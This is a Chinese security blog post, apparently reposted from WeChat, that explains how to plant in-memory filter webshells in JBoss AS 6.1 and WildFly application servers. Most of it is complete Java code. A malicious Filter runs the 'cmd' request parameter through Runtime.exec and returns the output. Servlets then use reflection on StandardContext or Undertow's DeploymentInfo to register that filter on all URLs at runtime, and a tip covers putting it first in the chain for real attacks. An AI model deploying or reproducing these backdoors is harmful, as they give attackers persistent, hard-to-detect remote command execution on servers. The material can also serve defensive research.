缘起万户OA
0x01 JBoss
低版本内嵌Tomcat
-
以前属实没有注意到JBoss内嵌的是Tomcat
都是熟悉的面孔: ApplicationContext 、 StandardContext
直接抄一遍Tomcat的作业
1、Filter内存马实现
测试版本
JBoss AS v6.1.0.Final
实现代码
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
public class FilterInject6 extends HttpServlet {
static public class myfilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
try {
final String name = "filterDemo";
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Filter evilFilter = new myfilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(evilFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
resp.getWriter().write("inject success");
} catch (NoSuchFieldException | NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
测试效果
0x02 WildFly
WildFly,原名JBoss AS或者JBoss,是一套应用程序服务器,属于开源的企业级Java中间件软件,
用于实现基于SOA架构的web应用和服务。
1、ServletContext
1.1、获取Context-基于getServletContext()
ServletContext servletContext = request.getServletContext();
2、Filter内存马实现
2.1、静态添加-基于web.xml
FilterShell.java
package com.example.wildfly;
import javax.servlet.*;
import java.io.IOException;
public class FilterShell implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain filterChain) throws IOException, ServletException {
try {
String cmd;
if ((cmd = req.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
resp.getOutputStream().write(stringBuilder.toString().getBytes());
resp.getOutputStream().flush();
resp.getOutputStream().close();
}
filterChain.doFilter(req, resp);
}catch (Exception e){
filterChain.doFilter(req, resp);
}
}
public void destroy() {
}
}
web.xml
<filter>
<filter-name>FilterShell</filter-name>
<filter-class>com.example.wildfly.FilterShell</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterShell</filter-name>
<url-pattern>/index</url-pattern>
</filter-mapping>
测试版本
WildFly v18.0.0.Final
测试效果
2.2、动态添加-基于DeploymentInfo
参考资料
https://www.tabnine.com/code/java/methods/io.undertow.servlet.api.DeploymentInfo/addFilter
拎出来,该反射的用反射实现就成
-
基于getServletContext()获取上下文Context
ServletContext servletContext = request.getServletContext();
-
生成恶意Filter
Filter evilFilter = new FilterShell();
-
构造FilterInfo
FilterInfo filter = new FilterInfo(evilFilter.getClass().getName(),
evilFilter.getClass());
-
反射获取deploymentInfo,调用 public DeploymentInfo addFilter 添加filter
Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo");
deploymentInfoF.setAccessible(true);
DeploymentInfo deploymentInfo = (DeploymentInfo)
deploymentInfoF.get(servletContext);
deploymentInfo.addFilter(filter);
-
反射获取deployment,调用 public ManagedFilter addFilter 将filterInfo添加到filters
Field deploymentF= servletContext.getClass().getDeclaredField("deployment");
deploymentF.setAccessible(true);
DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext);
deployment.getFilters().addFilter(filter);
-
调用 addFilterUrlMapping 添加映射即可
deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*",DispatcherType.REQUEST);
-
添加banner信息
response.getWriter().write("inject success !!!");
代码整合如下
package com.example.wildfly;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.core.DeploymentImpl;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
/**
* Tested version:
* WildFly 18.0.0.Final
* Wildfly 20.0.1.Final
* WildFly 24.0.1.Final
*
*/
public class FilterInject extends HttpServlet {
public static class FilterShell implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
ServletContext servletContext = request.getServletContext();
Filter evilFilter = new FilterShell();
FilterInfo filterInfo = new FilterInfo(evilFilter.getClass().getName(), evilFilter.getClass());
Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo");
deploymentInfoF.setAccessible(true);
DeploymentInfo deploymentInfo = (DeploymentInfo) deploymentInfoF.get(servletContext);
deploymentInfo.addFilter(filterInfo);
Field deploymentF= servletContext.getClass().getDeclaredField("deployment");
deploymentF.setAccessible(true);
DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext);
deployment.getFilters().addFilter(filterInfo);
deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*", DispatcherType.REQUEST);
response.getWriter().write("inject success !!!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
测试效果
注:实战场景也许有将evilFilter置首的需求,可使用
-
io.undertow.servlet.api.DeploymentInfo#insertFilterUrlMapping
deploymentInfo.insertFilterUrlMapping(0,evilFilter.getClass().getName(),"/*",DispatcherType.REQUEST);
原文始发于微信公众号(pen4uin):JBoss & WildFly Filter 内存马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论